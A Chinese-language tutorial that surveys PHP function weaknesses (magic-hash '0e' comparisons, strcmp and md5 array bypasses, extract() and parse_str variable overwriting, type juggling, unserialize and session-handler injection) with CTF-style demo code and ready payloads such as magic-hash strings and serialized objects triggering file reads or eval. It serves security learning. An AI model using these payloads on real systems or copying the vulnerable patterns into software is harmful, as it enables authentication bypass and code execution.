详解各种PHP函数漏洞
          发布时间:2021-06-22 15:26:45
          
                              
                          
这篇文章主要介绍了详解各种PHP函数漏洞,对漏洞感兴趣的同学,可以参考
1.MD5 compare漏洞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。 
常见的payload有
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 0x01 md5(str)
     QNKCDZO
     240610708
     s878926199a
     s155964671a
     s214587387a
     s214587387a
      sha1(str)
     sha1('aaroZmOk')  
     sha1('aaK1STfY')
     sha1('aaO8zKZF')
     sha1('aa3OFF9m')
   0x02 md5(md5(str)."SALT")
     2
 | 
同时MD5不能处理数组,若有以下判断则可用数组绕过
| 1 2 3 4 5 | if(@md5($_GET['a']) == @md5($_GET['b']))
 {
     echo"yes";
 }
 | 
2.ereg函数漏洞:00截断
| 1 | ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
 | 
字符串对比解析 
在这里如果 $_GET[‘password']为数组,则返回值为NULL 
如果为123 || asd || 12as || 123%00&&&**,则返回值为true 
其余为false
3.变量本身的key
说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <?php
        foreach($_GETAS $key=> $value)
   {
           print$key."\n";
   }
   ?>
 | 
4.变量覆盖
extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖
| 1 2 3 4 5 6 7 8 9 10 | <?php  
     $auth= '0';  
     
     extract($_GET); 
     if($auth== 1){  
         echo"private!";  
     } else{  
         echo"public!";  
     }  
 ?>
 | 
| 1 2 3 4 5 6 7 8 | <?php  
 $a='hi';
 foreach($_GETas$key=> $value) {
         echo$key;
         $$key= $value;
 }
 print$a;
 ?>
 | 
5.strcmp
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 
将两个参数先转换成string类型。 
以后,当比较数组和字符串的时候,返回是0。 
如果参数不是string类型,直接return了
| 1 2 3 4 5 6 7 8 | <?php
     $password=$_GET['password'];
     if(strcmp('xd',$password)) {
      echo'NO!';
     } else{
         echo'YES!';
     }
 ?>
 | 
6.sha1 和 md5 函数
md5 和 sha1 无法处理数组,返回 NULL
| 1 2 3 4 5 | if(@sha1([]) ==  false)
     echo1;
 if(@md5([]) ==  false)
     echo2;
 echovar_dump(@sha1([]));
 | 
7.is_numeric
PHP提供了is_numeric函数,用来变量判断是否为数字。但是函数的范围比较广泛,不仅仅是十进制的数字。
| 1 2 3 4 5 6 7 | <?php
 echois_numeric(233333);       # 1
 echois_numeric('233333');    # 1
 echois_numeric(0x233333);    # 1
 echois_numeric('0x233333');   # 1
 echois_numeric('233333abc');  # 0
 ?>
 | 
8.preg_match
如果在进行正则表达式匹配的时候,没有限制字符串的开始和结束(^ 和 $),则可以存在绕过的问题
| 1 2 3 4 5 6 7 8 | <?php
 $ip= '1.1.1.1 abcd'; 
 if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {
   die('error');
 } else{
    echo('key...');
 }
 ?>
 | 
9.parse_str
与 parse_str() 类似的函数还有 mb_parse_str(),parse_str 将字符串解析成多个变量,如果参数str是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域。
| 1 2 3 4 | $var='init';  
 parse_str($_SERVER['QUERY_STRING']);  
 print$var;
 | 
10.字符串比较
== 是弱类型的比较,以下比较都为 true
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php  
 echo0 == 'a';
   '0xccccccccc'== '54975581388';
 1 == '1';
 1 == '01';
 10 == '1e1';
 '100'== '1e2';    
   '0xABCdef'== '     0xABCdef';
 echo'0010e2'== '1e3';
 '0e509367213418206700842008763514'== '0e481036490867661113260034900752';
 '0e481036490867661113260034900752'== '0';
   var_dump(md5('240610708') == md5('QNKCDZO'));
 var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
 var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
 var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
 ?>
 | 
11.unset
unset( bar);用来销毁指定的变量,如果变量 bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php  
 $_CONFIG['extraSecure'] = true;
   foreach(array('_GET','_POST') as$method) {
     foreach($$methodas$key=>$value) {
       
       
       
       unset($$key);
     }
 }
   if($_CONFIG['extraSecure'] == false) {
     echo'flag {****}';
 }
 ?>
 | 
12.intval()
int转string:
| 1 2 3 | $var= 5;  
 方式1:$item= (string)$var;  
 方式2:$item= strval($var);
 | 
string转int:intval()函数。
| 1 2 3 | var_dump(intval('2')) 
 var_dump(intval('3abcd')) 
 var_dump(intval('abcd')) 
 | 
说明intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。 
利用代码:
| 1 2 3 4 5 | <?php  
 $a= '10000 union select * from yz';
 if(intval($a)>1000)   
     echo$a;
 ?>
 | 
13.switch()
如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型。如下:
| 1 2 3 4 5 6 7 8 9 10 11 12 | <?php
 $i="2abc";  
 switch($i) {  
 case0:  
 case1:  
 case2:  
 echo"i is less than 3 but not negative";  
 break;  
 case3:  
 echo"i is 3";  
 } 
 ?>
 | 
这个时候程序输出的是i is less than 3 but not negative,是由于switch()函数将$i进行了类型转换,转换结果为2。
14.in_array()
| 1 2 3 | $array=[0,1,2,'3'];  
 var_dump(in_array('abc', $array)); 
 var_dump(in_array('1bc', $array)); 
 | 
可以看到上面的情况返回的都是true,因为'abc'会转换为0,'1bc'转换为1。 
在所有php认为是int的地方输入string,都会被强制转换
15.serialize 和 unserialize漏洞
魔术方法
这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。这些函数都会在某些特殊时候被自动调用。 
例如__construct()方法会在一个对象被创建时自动调用,对应的__destruct则会在一个对象被销毁时调用等等。 
这里有两个比较特别的Magic方法,__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。
在这里介绍一个序列化漏洞,首先不要相信用户输入的一切 
看下面代码
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?php
 classtest
 {
     public$username= '';
     public$password= '';
     public$file= '';
     publicfunctionout(){
         echo"username: ".$this->username."<br>"."password: ".$this->password ;
     }
      publicfunction__toString() {
         returnfile_get_contents($this->file);
     }
 }
 $a= newtest();
 $a->file = 'C:\Users\YZ\Desktop\plan.txt';
 echoserialize($a);
 ?>
 | 
下面就可以读取了C:\Users\YZ\Desktop\plan.txt文件了 
echo unserialize触发了__tostring函数
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php
 classtest
 {
     public$username= '';
     public$password= '';
     public$file= '';
     publicfunctionout(){
         echo"username: ".$this->username."<br>"."password: ".$this->password ;
     }
      publicfunction__toString() {
         returnfile_get_contents($this->file);
     }
 }
 $a= 'O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}';
 echounserialize($a);
 ?>
 | 
16.session 反序列化漏洞
主要原因是 
ini_set(‘session.serialize_handler', ‘php_serialize'); 
ini_set(‘session.serialize_handler', ‘php'); 
两者处理session的方式不同
利用下面代码可以生成session值
| 1 2 3 4 5 6 | <?php
 ini_set('session.serialize_handler', 'php_serialize');
 session_start();
 $_SESSION["spoock"]=$_GET["a"];
 ?>
 | 
我们来看看生成的session值
| 1 2 3 4 | spoock|s:3:"111";    
 a:1:{s:6:"spoock";s:3:"111";}a:1:{s:N:session键值;内容序列化}
 在ini_set('session.serialize_handler', 'php');中把|之前认为是键值后面的视为序列化
 那么就可以利用这一漏洞执行一些恶意代码
 | 
看下面的例子 
1.php
| 1 2 3 4 5 | <?php
 ini_set('session.serialize_handler', 'php_serialize');
 session_start();
 $_SESSION["spoock"]=$_GET["a"];
 ?>
 | 
2.php
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <?php
    ini_set('session.serialize_handler', 'php');
 session_start();
 classlemon {
     var$hi;
     function__construct(){
         $this->hi = 'phpinfo();';
     }
       function__destruct() {
          eval($this->hi);
     }
 }
 ?>
 | 
在1.PHP里面输入a参数序列化的值|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 
则被序列化为 
a:1:{s:6:”spoock”;s:44:”|O:5:”lemon”:1:{s:2:”hi”;s:10:”phpinfo();”;} 
在2.PHP里面打开 
就可以执行phpinfo()了
以上就是详解各种PHP函数漏洞的详细内容,更多关于PHP函数漏洞的资料请关注其它相关文章!